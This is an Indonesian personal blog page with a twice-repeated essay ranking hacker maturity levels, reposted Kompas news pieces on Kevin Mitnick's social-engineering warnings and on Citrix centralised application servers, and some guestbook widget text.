Hacker yang kompeten, atau remaja yang berhasil lolos dari ’seleksi alam’ akan melalui masa ini dengan begitu cepat memasuki wilayah penuh keingintahuan.

3. Wannabe

Wannabe hacker menganggap hacking lebih sebagai philosophy, atau seni kehidupan. Mereka mulai membaca teknik-teknik hacking dasar dan melakukan searching (pencarian) dokumen-dokumen hack yang lebih serius. Wannabe telah menunjukkan antusiasnya dalam hacking dan mulai meninggalkan dunia lamer yang penuh kebodohan.

4. Larva

Perjalanan penuh perjuangan menjadi kupu-kupu. Larva telah disibukkan dengan berbagai pertanyaan bagaimana benda-benda bekerja ? Bagaimana dunia bekerja. Larva adalah step terpenting dalam pembentukan jati diri hacker. Mereka menemukan cara untuk membuat eksploits sendiri. Mencoba melakukan penetrasi sistem tanpa melakukan pengerusakan, karena mereka tahu, pengerusakan system adalah cara termudah bagi mereka (sysadmin dan polisi) untuk menangkap jejak sang larva.

5. Hacker

Sebuah keindahan, naluri, karunia tuhan terhadap orang-orang yang berjuang. Akhirnya tingkatan tertinggi dari budaya digital telah dicapai. Sebuah dunia baru menanti. Dunia hacking !!

Sesunguhnya setiap orang tidak akan tau kapan pastinya ia menjadi hacker. Sama halnya dengan anda tidak pernah tau pasti kapan anda tertidur. Hal terpenting adalah terus belajar dan mengembangkan pengetahuan. Saat anda beristirahat sejenak dan mengenang kembali .. anda telah menjadi hacker.

Kemampuan spesial.

Hacker dalam tahap pendewasaannya akan mengalami spesialisasi skil/kemampuan. Mereka akan dikenal sebagai:

1. Wizard

Yaitu seseorang yang memiliki pengetahuan yang begitu banyak

terhadap subyek tertentu.

2. Guru

Seseorang yang tau apapun tehadap subyek tertentu. Mereka mengetahui fitur-fitur tak terdokumentasi. Trik-trik pengembangan, dan teknik-teknik mengalahkan keterbatasan - limit -

Hacker sejati mengenal kebodohannya dan terus mengembangkan diri untuk mengatasi semua kebodohannya. Dan dalam perjalanan itu alam mengadakan seleksi, siapakah yang mampu bertahan ?

rev:

[1]

Penulis : nurdyansa.....


TINGKATAN MASYARAKAT HACKER

Beberapa bagian dari tulisan asli telah mengalami modifikasi dan penyesuaian. Beberapa yang kurang tepat juga telah saya hapus dan saya sesuaikan relatif terhadap pendapat saya sendiri. Mohon maaf.

Pada dasarnya, setiap pelaku TI atau praktisi hacking itu sendiri mendefenisikan konsep ‘HACKING’ yang berbeda. Tidak tertutup kemungkinan untuk terjadi perbedaan pendapat terhadap konsep yang di makhsud, namun cukup jadikan perbedaan pendapat sebagai sebuah kekayaan pemikiran.

Dalam perjalanan menuju pendewasaan, perubahan pola pikir dan kemampuan teknik, setiap manusia yang memasuki wilayah hacking akan melewati beberapa tingkatan.

1. Si Dungu

Saya rasa tidak berlebihan untuk menyebut masyarakat pada tingkatan ini dengan istilah dungu. Mereka hanya memiliki kemampuan teknis komputer yang rendah dan mengenal hacking dari surat kabar, bahwa hacker adalah seorang penjahat elektronik. Bahkan beberapa diantara mereka juga menulis di surat kabar dalam hal dan konsep yang sama.

2. Lamer

Lamer merupakan sebuah fenomenal awal remaja yang tertarik mempelajari hacking. Mereka mempunyai kemampuan komputer standar dan sedikit lebih banyak mendapat informasi. Mereka mencoba mencari petunjuk serangan praktis. Baik dari e-zine maupun melalui diskusi IRC (Chatting). Serangan dilakukan dengan trojan, sebuah remote administration tool yang memberikan akses terhadap mesin yang telah terinfeksi. Lamer juga melakukan benyak hal-hal tidak berguna, seperti tukar-menukar nomor kartu kredit, dan tukar-menukar password website porno komersial.

Hacker yang kompeten, atau remaja yang berhasil lolos dari ’seleksi alam’ akan melalui masa ini dengan begitu cepat memasuki wilayah penuh keingintahuan.

3. Wannabe

Wannabe hacker menganggap hacking lebih sebagai philosophy, atau seni kehidupan. Mereka mulai membaca teknik-teknik hacking dasar dan melakukan searching (pencarian) dokumen-dokumen hack yang lebih serius. Wannabe telah menunjukkan antusiasnya dalam hacking dan mulai meninggalkan dunia lamer yang penuh kebodohan.

4. Larva

Perjalanan penuh perjuangan menjadi kupu-kupu. Larva telah disibukkan dengan berbagai pertanyaan bagaimana benda-benda bekerja ? Bagaimana dunia bekerja. Larva adalah step terpenting dalam pembentukan jati diri hacker. Mereka menemukan cara untuk membuat eksploits sendiri. Mencoba melakukan penetrasi sistem tanpa melakukan pengerusakan, karena mereka tahu, pengerusakan system adalah cara termudah bagi mereka (sysadmin dan polisi) untuk menangkap jejak sang larva.

5. Hacker

Sebuah keindahan, naluri, karunia tuhan terhadap orang-orang yang berjuang. Akhirnya tingkatan tertinggi dari budaya digital telah dicapai. Sebuah dunia baru menanti. Dunia hacking !!

Sesunguhnya setiap orang tidak akan tau kapan pastinya ia menjadi hacker. Sama halnya dengan anda tidak pernah tau pasti kapan anda tertidur. Hal terpenting adalah terus belajar dan mengembangkan pengetahuan. Saat anda beristirahat sejenak dan mengenang kembali .. anda telah menjadi hacker.

Kemampuan spesial.

Hacker dalam tahap pendewasaannya akan mengalami spesialisasi skil/kemampuan. Mereka akan dikenal sebagai:

1. Wizard

Yaitu seseorang yang memiliki pengetahuan yang begitu banyak

terhadap subyek tertentu.

2. Guru

Seseorang yang tau apapun tehadap subyek tertentu. Mereka mengetahui fitur-fitur tak terdokumentasi. Trik-trik pengembangan, dan teknik-teknik mengalahkan keterbatasan - limit -

Hacker sejati mengenal kebodohannya dan terus mengembangkan diri untuk mengatasi semua kebodohannya. Dan dalam perjalanan itu alam mengadakan seleksi, siapakah yang mampu bertahan ?

rev:

[1]

Penulis : nurdyansa.....


Kevin Mitnick sang Hacker jenius.......

posting by nurdyansa.....

Teroris Komputer’ Ajarkan Cara Menghadapi Penyusup


Johannesburg, Kamis

Ia bisa menemukan nomor jaminan keamanan mantan presiden AS, George Bush senior dan nama kecil ibunda Leonardo DiCaprio dalam waktu kurang dari 15 detik. Dan kemampuan seperti inilah yang membuatnya menjadi buruan FBI selama tiga tahun karena ia menyusup ke perusahan-perusahaan terbesar di dunia.

Dia adalah "teroris komputer" Kevin Mitnick, salah satu hacker paling terkenal di dunia. Ia menjadi begitu populer setelah berhasil menjebol jaringan dan mencuri software di perusahaan-perusahaan seperti Sun Microsystems dan Motorola.

Kini Mitnick, berasal dari AS, tidak lagi melakukan pekerjaannya dahulu. Ia lebih banyak berkeliling dunia untuk mengajarkan pada perusahaan-perusahaan bagaimana mencegah orang-orang seperti dia menyusup dalam jaringan mereka.

Menurutnya, walau teknologi mutakhir bisa membantu jaringan aman dari virus, namun itu tidak ada gunanya bila hacker bisa membujuk karyawan sebuah perusahaan untuk membocorkan password, entah dengan berbagai cara.

"Hacker biasanya mencari lobang dalam firewall (sistem perlindungan) manusia," kata Mitnick dalam konferensi keamanan teknologi informasi hari Rabu (8/3) di Afrika Selatan. "Apakah lubang terbesar dalam keamanan? Jawabannya adalah keyakinan berlebihan bahwa sistemnya tidak mungkin ditembus."

Social enggineering - sebutan para hacker untuk mengelabuhi orang-orang - adalah senjata utama Mitnick untuk menembus sistem-sistem paling canggih di dunia. Itu dilakukannya dengan membujuk karyawan-karyawan - tanpa mereka sadari - agar membuka informasi rahasia perusahaannya.

Mitnick, yang kini berusia 40-an, mulai menjebol sistem-sistem telepon saat berusia belasan, sebelum akhirnya beralih ke komputer. Namun menurutnya ia tidak pernah mencuri uang atau menimbulkan kerusakan yang parah. Ia melakukan aksinya hanya untuk kesenangan semata.

Hobby itu akhirnya menjadikannya sebagai salah satu orang yang paling dicari FBI. Ketika akhirnya tertangkap, ia harus mendekam selama lima tahun di penjara AS tahun 1990-an.

Ketika dilepaskan, Mitnick dilarang menggunakan internet. Oleh karenanya ia kemudian menulis dua buku mengenai hacking dan mendirikan sebuah perusahaan konsultan keamanan IT.

Kini perusahaan-perusahaan yang rahasianya dahulu dia curi, membayar Mitnick untuk menyusup ke sistemnya guna menguji sejauh mana keamanan yang sudah diterapkan.

Menurut Mitnick, cara kerja hacker tidak selalu berhubungan dengan teknologi. Mereka lebih mirip agen rahasia yang menyelidiki perusahaan dan para karyawannya. Hacker kadang-kadang harus mengamati hobby targetnya dan berbaur agar lebih mudah mendapat rahasia.

Dan buruknya, banyak perusahaan seringkali menganggap remeh kemampuan hacker dalam mencuri informasi penting - seperti nomor SIM, nomor jaminan sosial, dan nama kecil ibu - data-data yang seringkali digunakan bank atau perusahaan lain untuk mengecek konsumen.

Untuk membuktikan hal itu, Mitnick mempraktekkan cara menemukan nomor jaminan mantan Presiden George Bush, serta nama kecil dan nomor SIM ibu akto Hollywood Leonardo DiCaprio dalam waktu kurang dari 15 detik.

"Hal ini mudah saja dilakukan karena pada dasarnya orang merasa telah melakukan kebaikan dengan membantu orang lain mendapat informasi, kecuali bila orang itu telah ditipu sebelumnya atau seorang yang paranoid," katanya.

Oleh karena itu, menurut Mitnick, perusahaan harus waspada terhadap hacker yang pandai berbicara dengan memperingatkan bahaya ini pada karyawannya, mengembangkan kebijakan sederhana terhadap perlindungan data, dan menerapkan teknologi paling baik yang setidaknya akan membuat hacker harus lebih berusaha.

"Ini bukan berarti kita menjadi paranoid, tapi ini mengenai kewaspadaan," katanya.

**sumber: http://www.kompas.com/teknologi/news/0603/09/133450.htm

Posted by: shanty on Mar 24, 06 | 12:08 PM
[0] comments (5 views)

Sentralisasi Data dan Aplikasi

Perawatan infrastruktur teknologi informasi dan komunikasi adalah salah satu beban operasional utama yang harus ditanggung perusahaan-perusahaan jasa yang memiliki banyak cabang. Pemilihan aplikasi dan perangkat yang tepat dapat membantu perusahaan menekan biaya investasi dan operasional serendah mungkin.

Salah satu solusi yang ditawarkan Citrix Systems Inc. adalah access infrastruktur. Citrix menyediakan manajemen penggunaan data dan aplikasi dari sebuah server agar dapat diakses bersama-sama oleh banyak pengguna. Dengan sistem ini, data dan aplikasi tidak
lagi harus tersedia di setiap komputer namun cukup diatur di server.

"Dengan Citrix, aplikasi cukup dikelola di kantor pusat, sehingga kompleksitas pengawasan dapat dikurangi," kata Budi Setiono, Manajer Suzuki Finance Indonesia yang telah mengimplementasikan solusi tersebut. Jika sebelumnya instalasi program harus
dilakukan satu demi satu di setiap komputer pengguna, kali ini cukup dilakukan sekali di server. Proses perawatan, upgrade, dan perawatan juga lebih praktis karena tidak perlu dilakukan di setiap komputer cabang.

"Dari segi efisiensi biaya, tidak perlu upgrade setiap klien dan biaya lisensi juga lebih kecil sebab aplikasi hanya diinstal di server," kata Sjafril Effendi, Presiden Direktur Mitra Integrasi Informatika, salah satu mitra Citrix System di Indonesia. Secara teknis, di komputer cabang sudah tidak diperlukan media penyimpan data lagi, cukup thin-PC dengan keyboard dan monitor. Sebab, seluruh manajemen dilakukan di server.

Citrix juga mampu melakukan pengamanan dan pengelolaan data dengan baik sehingga lalu-lintas data di jaringan lebih efisien. "Sebelum menggunakan Citrix, bandwidth kita penuh di jam-jam transaksi, tapi sejak menggunakan Citrix, penggunaan bandwidth di setiap cabang tidak lebih dari 64 kilobit perdetik dari kapasitas 128 kilobit perdetik," kata Budi. Dengan demikian, sisa bandwidth dapat dioptimalkan untuk telepon internet (VoIP) dan Fax over IP antarcabang dan kantor pusat.

Untuk 500 pengguna, SFI hanya membutuhkan 5 buah server Citrix dengan biaya investasi sekitar 150 ribu dollar AS. Implementasi Citrix untuk 40 cabang SFI hanya dilakukan dalam 2 bulan.

**sumber: http://www.kompas.com/teknologi/news/0603/19/212137.htm

mudah-mudahan gua bisa jadi kayak gitu.....

  Sapaan orang kepada saya

   
  pasang buku tamu ini
     Membuat Blog   Blogger Indonesia   
  Copy code di bawah ini ke blog kamu